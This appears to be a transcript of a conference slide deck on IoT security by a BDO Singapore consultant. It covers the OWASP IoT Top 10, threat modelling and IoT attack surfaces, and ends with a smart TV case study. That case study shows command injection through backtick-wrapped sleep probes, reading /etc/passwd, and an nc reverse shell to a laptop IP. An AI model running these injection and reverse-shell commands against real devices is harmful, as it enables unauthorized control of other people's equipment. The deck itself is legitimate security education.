The document discusses the security challenges posed by the Internet of Things (IoT), highlighting vulnerabilities and the need for improved cybersecurity measures. It outlines the OWASP IoT Top 10 risks, illustrating the diversity of attack surfaces and emphasizing insufficient device security practices. The document also reviews various IoT applications across sectors and the implications for data privacy and security compliance.

1. Cecil Su, Technology Risk Advisory,
BDO Advisory Singapore
IOT – BREAKING BAD

2. #WHOAMI
§ Mission: To promote cybersecurity at large
§ Moonlighting as an Open Web Application Security Project (OWASP) Evangelist
§ Secretary for the Association of Information Security Professional (AiSP)
§ Advisor for the Singapore Honeynet Project
§ OWASP Global Education Committee (GEC) alumni member
§ Co-authored the OWASP Testing Guides v3.0 and v4.0
§ Co-authored the WASC TC v2.0
§ Volunteer Teacher @Hacking Lab (https://www.hacking-lab.com)
§ Judge for the CSA Cybersecurity Awards 2018/2019 and WorldSkills Competition
(Cybersecurity) 2018/2019

3. OVERVIEW
• Motivation
• Challenge with IoT
• Security & Privacy Risks with IoT
• OWASP IoT Top 10
• Threat Modelling IoT
• Attacking the IoT Stack
• Sample Case Study

4. I O T
What is IoT?
“A proposed development of the
Internet in which everyday
objects have network
connectivity, allowing them to
send and receive data.”

5. WHAT IS IOT?
o Belkin Wemo
o Nespresso Prodigio
o Nest
o Phillips Hue
o Garmin Forerunner
o Fitbit
o Whiting Blood Pressure Monitor
o Meat Thermometers
o Weather Stations
o Ring doorbell
o IP Cameras
o Amazon Dash Buttons
o Amazon Echo (Alexa)
o IP Phones
o Pool Pumps
o Door Locks
o Video Game Consoles
o Alarm Systems

6. MOTIVATION
• IoT Security spending is rapidly increasing
• IoT introduces an increased number of security threats
• IoT security happens on 4 different layers
• Increasing automation of IoT security tasks
• Cyberespionage groups and petty criminals are the most common IoT
attackers

7. IOT SECURITY HAPPENS ON 4 DIFFERENT LAYERS
Device, Communications, Cloud & Lifecycle Management
Source: IoT Analytics

8. IOT IS MORE THAN CONSUMER
Hardware hacking “Junk hacking”
“Stunt hacking”

9. IOT BEYOND THE HYPE
Sectorial/Municipal IoT
o Smart cities
o Smart grid
Industrial IoT
o Connected factories
o Agriculture
o Logistics
Medical IoT
o Smart hospitals
o Electronic medical records

10. IOT EXPANDS SECURITY NEEDS
IoT CONNECTIVITY
Converged,
Managed Network
Resilience at
Scale
Security
Application
Enablement
Distributed
Intelligence
Increased Attack Surface
Threat Diversity
Impact and Risk
Remediation
Protocols
Compliance and Regulation

11. SECURITY AND PRIVACY RISKS WITH IOT
Heavy startup presence in the field creates security risks
o Devices are often crowdfunded or created by new companies
who dedicate their limited resources to functionality over
security
o Recent Hewlett Packard study found that 100% of the home
security IoT devices they studied had significant security
vulnerabilities
No governing body or industry standards for IoT security
o Devices are vulnerable to external threats (hackers,
ransomware, etc.) and internal mishandling/errors by
legitimate custodians of the data
Even people who have not purchased an IoT device may be
contributing data to it unknowingly
o August Smart Locks
o Amazon Echo

12. DATA PRIVACY RISKS
Business, employee, and client
information could be:
• Destroyed
• Altered
• Stolen and exposed
• Held for ransom
Understand IoT device data
collection policies:
• What information is gathered?
• How long is the data kept?
• What is the data used for
(marketing research, etc.)?

13. THE POWER OF IOT
• Big data provide analytics
• Business process optimizations
• Multiple concurrent access

14. WHY IT LOOKS SO BAD
Breakers have a long history and robust tools
o Automated network attack tools
o Exploits for most segments of IoT stack
o Physical access and hardware hacking
Builders are still searching for
o Secure toolkits
o Proven methodologies
o Successful models
Result:
o Builders cobble together components
o Build very fragile full stack solutions
o No visibility into security or attack surface
o Attackers have a field day

15. IOT SEARCH ENGINES
Tool Link
• Internet of Things Scanner https://iotscanner.bullguard.com/
• Shodan https://www.shodan.io/
• Thingful https://www.thingful.net/
• ZoomEye https://www.zoomeye.org/

16. MISERABLE TRACK RECORD THUS FAR
Luckily most tests are of consumer IoT
http://www8.hp.com/h20195/V2/GetPDF.aspx/4AA5-4759ENW.pdf
Testing industrial, sectorial, and other IoT is much trickier
Most have heterogeneous brownfield deployments
Testers can’t just pop down to NTUC Fairprice to get access to these deployments
SecuringSmartCities.org has done some testing
If history is a guide though things probably are not good

17. WHY THE CONCERN ABOUT IOT SECURITY?

18. OWASP IOT PROJECT
An overall IoT security effort
o Attack surfaces (present)
o Vulnerability lists (working)
o Reference solutions (coming)
Aggregates community resources
Guidance for manufacturers, developers and consumers
IoT specific security principles
IoT framework assessment

19. OWASP IOT TOP 10 (CIRCA 2014)
Category IoT Security Consideration Recommendations
I1: Insecure Web Interface •Ensure that any web interface coding is written
to prevent the use of weak passwords …
When building a web interface consider implementing
lessons learned from web application security. Employ
a framework that utilizes security …
I2: Insufficient
Authentication/Authorization
•Ensure that applications are written to require
strong passwords where authentication is needed
…
Refer to the OWASP Authentication Cheat Sheet
I3: Insecure Network Services •Ensure applications that use network services
don't respond poorly to buffer overflow, fuzzing
…
Try to utilize tested, proven, networking stacks and
interfaces that handle exceptions gracefully...
I4: Lack of Transport Encryption •Ensure all applications are written to make use
of encrypted communication between devices…
Utilize encrypted protocols wherever possible to
protect all data in transit…
I5: Privacy Concerns •Ensure only the minimal amount of personal
information is collected from consumers …
Data can present unintended privacy concerns when
aggregated…
I6: Insecure Cloud Interface •Ensure all cloud interfaces are reviewed for
security vulnerabilities (e.g. API interfaces and
cloud-based web interfaces) …
Cloud security presents unique security considerations,
as well as countermeasures. Be sure to consult your
cloud provider about options for security mechanisms…
I7: Insecure Mobile Interface •Ensure that any mobile application coding is
written to disallows weak passwords …
Mobile interfaces to IoT ecosystems require targeted
security. Consult the OWASP Mobile …
I8: Insufficient Security
Configurability
•Ensure applications are written to include
password security options (e.g. Enabling 20
character passwords or enabling two-factor
authentication)…
Security can be a value proposition. Design should take
into consideration a sliding scale of security
requirements…
I9: Insecure Software/Firmware •Ensure all applications are written to include
update capability and can be updated quickly …
Many IoT deployments are either brownfield and/or
have an extremely long deployment cycle...
I10: Poor Physical Security •Ensure applications are written to utilize a
minimal number of physical external ports (e.g.
USB ports) on the device…
Plan on having IoT edge devices fall into malicious
hands...

20. OWASP IOT TOP 10: 2018
Source: https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project

21. PRINCIPLES OF IOT SECURITY
• Assume a hostile edge
• Test for scale
• Internet of lies
• Exploit autonomy
• Expect isolation
• Protect uniformly
• Encryption is tricky
• System hardening
• Limit what you can
• Lifecycle support
• Data in aggregate is unpredictable
• Plan for the worst
• The long haul
• Attackers target weakness
• Transitive ownership
• N:N Authentication

22. FRAMEWORK ASSESSMENT
• Based on a prototypical IoT deployment model
• Designed like a checklist or benchmark

23. ATTACKERS
XYZ Entertainment has a lot of intellectual property that I can sell on the black
market. I’m going to figure out how to break in via the IoT devices used.
• Target identified first
• ONLY THEN is the attack considered
• More effort spent planning and executing
• Usually targeting larger organisations (may not necessarily be true now)
Opportunistic Attack
I know how to compromise an embedded device with a known vulnerability. I’m going to
scan the Internet to find unpatched devices and see whether I can access some valuable
data and inject malicious code to infect visitors with the weaponized device.
• Exploit and vulnerability identified first
• Target doesn't matter, just needs to be vulnerable to exploit
• Low-hanging fruit
• Smaller organisations usually fall victim (may not necessarily be true now)
Targeted Attack

24. GENERIC SECURITY THREATS TAXONOMY

25. STATE OF IOT SECURITY
What we often see in IoT implementations
• Security maturity about a decade behind
o Weak/default credentials
o Replay attacks
o Lack of or weak encryption
• Often difficult or impossible to patch
• Very large ecosystem
o Many different connectors, standards, platforms, frameworks, etc.
• Security through obscurity
• Many embedded developer assume their code will operate in a trusted
environment

26. ATTACKING IOT DEVICES (IOT STACK)
• Device
• User/Management Interfaces
o Mobile Applications
o Web
o Thick Clients
• Hardware Input and Output
• Hardware sensors
• Local/Global Network
• Wireless (BLE, ZigBee, Wifi ,etc.,.)
• Cloud Services/API’s

27. ATTACKING IOT DEVICES (PORTS)
• UART
• JTAG
• SPI
• I2C
• USB
• Ethernet
• Etc

28. ATTACKING IOT DEVICES (RESEARCH TARGET)
• Identify hardware components
• Download Firmware
• Download SDK’s
• Public datasheets (alldatasheet.com)
o FCC ID
• Identify Ports (UART, JTAG, etc
• Shodan for target discovery
• Threat modelling

29. ATTACKING IOT DEVICES (COMMON ATTACK TECH)
• Reverse engineering firmware
o Hidden secrets (Passwords, Certs, API Keys, etc)
o Backdoors, Debug or Administrative features
• Radio Attacks (Sniff, Replay, MiTM)
• Monitor network traffic
• Port scan target/Network attacks
• Direct access to device memory

30. ATTACKING IOT (SKILLS)
• Web Application Security Testing
• Mobile Application Security Testing
• Wireless Testing
• Network Penetration Testing
• Reverse Engineering
• Electronics
• Strong appetite and aptitude for
learning
• and more…

31. COMMON VULNERABILITIES & EXPOSURES

32. FIVE-STEPS WITH THREAT MODELLING
Source: ARM Community, Threat Models & Security Analyses
Assets that may need protection:
• Firmware
• Certificates and device-unique keys
• Log-in credentials (user or admin)
• System configurations (to ensure your IP
cannot be compromised or control taken
away)
• Event logs
• Voice recordings
• Network communication
• Device resources (for example:
microphone array and speakers,
computing power and battery, network
bandwidth, debug interface, storage)
Identify potential adversaries:
• Remote software attacker
• Network attacker
• Malicious insider attacker
• Advanced hardware attacker -

33. STRIDE THREAT MODEL
Source: ARM Community, Threat Models & Security Analyses

34. ATTACK SURFACES
Source: ARM Community, Threat Models & Security Analyses

35. ASSETS VERSUS THREATS
Source: ARM Community, Threat Models & Security Analyses

36. THE SEVERITY OF AN ATTACK
Source: ARM Community, Threat Models & Security Analyses

37. SECURITY OBJECTIVES – ADDRESSING THREATS
Source: ARM Community, Threat Models & Security Analyses

38. DEFINE SECURITY REQUIREMENTS
Source: ARM Community, Threat Models & Security Analyses

39. CONSOLIDATE INTO A THREAT SUMMARY TABLE

40. SO WHERE DOES THAT LEAVE US WITH TM?
Take all the assets
Associate threat types with each asset
Voila! List of things we need to worry about

41. THE VULNERABILITY ON THE SMART TV
• Looking for a way in…
• Try arbitrary command : `sleep 5 `

42. THE FIELDWORK
• The menu froze for a while.
• Thinking that it might have backtick characters that was injected. Maybe
the TV did not expect them and threw an error which prevented it from
loading.
• Typed in “television `sleep 0`” and tried it again. It loaded instantly.
• Decided to measure the time. It turned out that it always took the television
set three times longer than the input number to become responsive, as
shown below:
o sleep(2) - 6 seconds
o sleep(3) - 9 seconds
o sleep(5) - 15 seconds

43. RUNNING THE COMMANDS
• Test cases
Command Explanation Chars Succeeded
`which nc && sleep 2` which is a linux command that returns the path to a
program if it exists.
&& sleep 2 would freeze the menu for 3*2 seconds if
the which function found nc on the TV set.
19 Yes
`which ssh && sleep 2` Wanted to see if ssh was installed. 20 No
`which wget && sleep 2` But it had wget 21 Yes
`cat /etc/passwd && sleep 2` Wanted to see if /etc/passwd was readable. It was,
and it would have been a big surprise if it wasn't
26 Yes
`cat /etc/shadow && sleep 2` This one is interesting. When there are root
privileges the /etc/shadow file is readable. I wanted
to test if I am root but the file wasn’t readable.
26 No
`ls /etc/shadow && sleep 2` This is the explanation why the shadow file couldn’t
be opened. It just didn’t exist.
25 No

44. GETTING SHELL ACCESS
• Plugged the ethernet cable and connected to the laptop
• Ran “ipconfig” to determine the IP of the laptop

45. GETTING SHELL ACCESS
• A reverse shell would be handy because it would bypass any possible firewall
rules blocking incoming connections.
• But before thinking about how to get one in less than 29 characters it is good
to learn a little bit more about the system.

46. GETTING SHELL ACCESS
• It was discovered that there is nc installed on the TV set, so the next action
is to pipe the output of certain commands through nc back to the laptop.
• The first command “id” was executed, which would indicate whether or not
root privileges is defaulted on the Smart TV set.

47. GETTING SHELL ACCESS
• The next thing was to obtain a
directory listing of / with `ls -la /|nc
169.254.56.216 5`
• Still it had no shell to issue proper
commands. All of them were more or
less length restricted and not too
useful.

48. GETTING SHELL ACCESS
• Since the version of nc that was installed on the TV allowed the -e flag it
was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`
• Perfect. There is now a proper shell to work with.
• There were multiple possibilities to mess the TV in a visible way.

49. GETTING SHELL ACCESS
• With this possibility, the avenues available are such as changing the logo
that’s being shown during the boot up process, or changing the apps icons.

50. SOME SMART TV VULNERABILITIES
Some recent Smart TV vulnerabilities that were discovered:
• CVE-2018-16595: Stack Buffer Overflow memory corruption vulnerability that
could lead to app crash.
• CVE-2018-16594: Directory Traversal where an attacker can upload an
arbitrary file with a crafted file name (e.g.: ../../) that can then traverse
the whole filesystem.
• CVE-2018-16593: Command Injection vulnerability can run arbitrary
commands on the system, which can result in complete remote code
execution with root privilege.

51. FINAL THOUGHTS
Privacy in realms of big data is a problem
No real technical solution to this one
Regulation is probably coming
A few organisations (ie., FTC) set to release guidelines next year
Consumers may eschew security but business would not
Security can be a differentiator

52. IN CONCLUSION
Source: Singapore Cyber Landscape 2018 Report, page 49
https://www.csa.gov.sg/~/media/csa/documents/publications/csasinga
porecyberlandscape2018.pdf
Ref#19: Boddy, Sara and Shattuck, Justin. “The Hunt for IoT: The
Growth and Evolution of Thingbots Ensures Chaos,” F5 Labs – Threat
Analysis Report, 13 March 2018,
https://www.f5.com/labs/articles/threat-intelligence/the-hunt-for-iot-
the-growth-andevolution-of-thingbots-ensures-chaos

53. THANK YOU
CECIL SU, DIRECTOR OF TECHNOLOGY RISK ADVISORY
CYBERSECURITY & DIGITAL FORENSICS INCIDENT RESPONSE
BDO ADVISORY (SINGAPORE)
TEL : +65 6828 9118
DID : +65 6829 9628
EMAIL : CECILSU@BDO.COM.SG